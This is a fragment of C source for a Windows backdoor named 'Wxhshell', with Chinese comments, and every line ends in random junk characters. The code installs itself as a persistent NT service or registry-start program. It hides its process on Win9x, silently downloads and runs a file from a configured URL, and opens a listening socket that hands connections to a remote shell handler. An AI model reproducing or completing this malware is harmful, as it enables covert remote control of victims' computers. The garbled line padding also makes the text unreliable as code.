ULONG UniqueProcessId; 2QN ~E
ULONG InheritedFromUniqueProcessId; lI*uF~ 'D
} PROCESS_BASIC_INFORMATION; %c"t`
fp`k1Uq@
PROCNTQSIP NtQueryInformationProcess; {)L*\r
r-aCa/4y!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vkgAI<
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >o_cf*nx
DbIn3/WNe
HANDLE hProcess; M?QK4Zxb6U
PROCESS_BASIC_INFORMATION pbi; w$1B|7tX;2
%m5&Y01
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 76BA1x+G
if(NULL == hInst ) return 0; j+6`nN7L
%~$coZY^
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "t!_bma
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :5,
k64'D
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :% m56
aWTvowA
if (!NtQueryInformationProcess) return 0; ?Zv>4+Y'
kmZ
U;Z
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yj'/
p
if(!hProcess) return 0; ,GTIpPj
8^2E77s4U
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _p^&]eQ+k#
ul!e!^qwx
CloseHandle(hProcess); kl[Jt)"4@
9J4gDw4<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O;CC(
if(hProcess==NULL) return 0; H5X.CcI&}
dR@XwEpP
HMODULE hMod; >uy(N
char procName[255]; <R.Ipyt.
unsigned long cbNeeded; 3"HX':8x
5q 95.rw
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *h)|Ks
-*AUCns#
CloseHandle(hProcess); 2'T uS?
:vo#(
if(strstr(procName,"services")) return 1; // 以服务启动 sHn-#SGm
qku}cWD9/_
return 0; // 注册表启动 ] GH_;
} T'${*NVn
j~C-T%kYa
// 主模块 Q)L6+gW^
int StartWxhshell(LPSTR lpCmdLine) o%_Hmd;_'
{ )FSa]1t;x
SOCKET wsl; O;H|nW}
BOOL val=TRUE; 7I;A5f
int port=0; CEl9/"0s6
struct sockaddr_in door; 2Mw^EjR
FQqk+P!
if(wscfg.ws_autoins) Install(); .F^372hH3
=QJI_veUG`
port=atoi(lpCmdLine); 6u[
B}%l
F*J@OY8i
if(port<=0) port=wscfg.ws_port; AoFxh o
C<yjGtVD
WSADATA data; &E0L 2gbI
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4ztU) 1
.ovG_O
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :>3/*"vx?G
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =niT]xf
door.sin_family = AF_INET; 'wd&O03&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); =.\PG[
door.sin_port = htons(port); $ )orXe|
2!Sl!x+i\'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cu`ty] -'
closesocket(wsl); H}PZJf_E
return 1; G'0JK+=o
} j:P(,M[
d$#DXLA\P
if(listen(wsl,2) == INVALID_SOCKET) { ihBIE
closesocket(wsl); 9six]T
return 1; ),5|Ves;t[
} Ux+UcBKm-
Wxhshell(wsl); y1_z(L;I
WSACleanup(); |}D5q| d@n
'@G=xYR
return 0; K_o[m!:jU
PS'SI X
} "a=dx|
Z
jSdW?IH
// 以NT服务方式启动 X-j3=8wPM
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yx':~
{ NT;cTa=;
DWORD status = 0; /4{IxQk
DWORD specificError = 0xfffffff; 5KC
Zg'h
gtRVXgI
serviceStatus.dwServiceType = SERVICE_WIN32; ,u^%[ejH
serviceStatus.dwCurrentState = SERVICE_START_PENDING; s7"5NU-
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <m0m8p"G
serviceStatus.dwWin32ExitCode = 0; \%Lj !\
serviceStatus.dwServiceSpecificExitCode = 0; ^7iP!-w/
serviceStatus.dwCheckPoint = 0; 5Mz6/&`
serviceStatus.dwWaitHint = 0; e {805^X}
*^i"q\n5(
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +Y"HbNz
if (hServiceStatusHandle==0) return; +O!4~k^
Rgb&EnVW
status = GetLastError(); I]6,hygs
if (status!=NO_ERROR) Q3rLCg,;
{ +@qIDUiF3
serviceStatus.dwCurrentState = SERVICE_STOPPED; m_h$fT8
_
serviceStatus.dwCheckPoint = 0; ;YYnIb(
serviceStatus.dwWaitHint = 0; P asVfC@
serviceStatus.dwWin32ExitCode = status; L!0}&i;u~5
serviceStatus.dwServiceSpecificExitCode = specificError; >9,:i)m_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); EpB3s{B"
return; lQ!(lPh
} f6`W(OiE
;"JgNad
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;! ,I1{`
serviceStatus.dwCheckPoint = 0; >/G[Oo
serviceStatus.dwWaitHint = 0; ,jdTe?[*^
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _@! yj
} iiv`ji
q+{yv
// 处理NT服务事件,比如:启动、停止 =+w/t9I[
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0.0r?T
{ 1^tM%2rP'
switch(fdwControl) 'RZ0,SK'
{ l._g[qa
case SERVICE_CONTROL_STOP: Qb8Z+7
serviceStatus.dwWin32ExitCode = 0; {=6CL'_
serviceStatus.dwCurrentState = SERVICE_STOPPED; K&BaGrR
serviceStatus.dwCheckPoint = 0; +zZ]Txb(
serviceStatus.dwWaitHint = 0; h(p cGE
{ z-^/<u1p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @T] G5|\ok
} V(;c#%I2
return; iz3Hoj
case SERVICE_CONTROL_PAUSE: RmJ|g<
serviceStatus.dwCurrentState = SERVICE_PAUSED; k,LaFe`W
break; 1pP q)}=+
case SERVICE_CONTROL_CONTINUE: L~*nI d
serviceStatus.dwCurrentState = SERVICE_RUNNING; &n]]OPo
break; !im%t9
case SERVICE_CONTROL_INTERROGATE:
pER[^LH_)
break; DaqlL
}; 8=u88?Bh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); CEJqo8ds
} FTu<$`!1L
O)c3Lm-w
// 标准应用程序主函数 0u
bf]Z
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f('##pND@
{ d(^3S>V|q
K0\`0E^,
// 获取操作系统版本 c=aVYQ"2
OsIsNt=GetOsVer(); \`W8#fob
GetModuleFileName(NULL,ExeFile,MAX_PATH); .&.L@CRH
74a k|(!
// 从命令行安装 e#@u&+K/f
if(strpbrk(lpCmdLine,"iI")) Install(); !}q@O-}j
5hfx2O)
// 下载执行文件 *~^%s+b
if(wscfg.ws_downexe) { ;ZTh(_7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vj"['6Xa
WinExec(wscfg.ws_filenam,SW_HIDE); S+l>@wa)|
} @%!Gj{
aT8A+=K6
if(!OsIsNt) { kfq<M7y
// 如果时win9x,隐藏进程并且设置为注册表启动 rd^j<
HideProc(); u zL|yxt
StartWxhshell(lpCmdLine); caZEZk#r;
} }]. |7h
else JC9OL.Ob
if(StartFromService()) .jl^"{@6
// 以服务方式启动 A+VzpJ~
StartServiceCtrlDispatcher(DispatchTable); R^rA.7T
else 9`!#5i)VU8
// 普通方式启动 ;0}C2Cz'
StartWxhshell(lpCmdLine); Hnf?`j>
i}>}%l|
return 0; Fl++rUT
}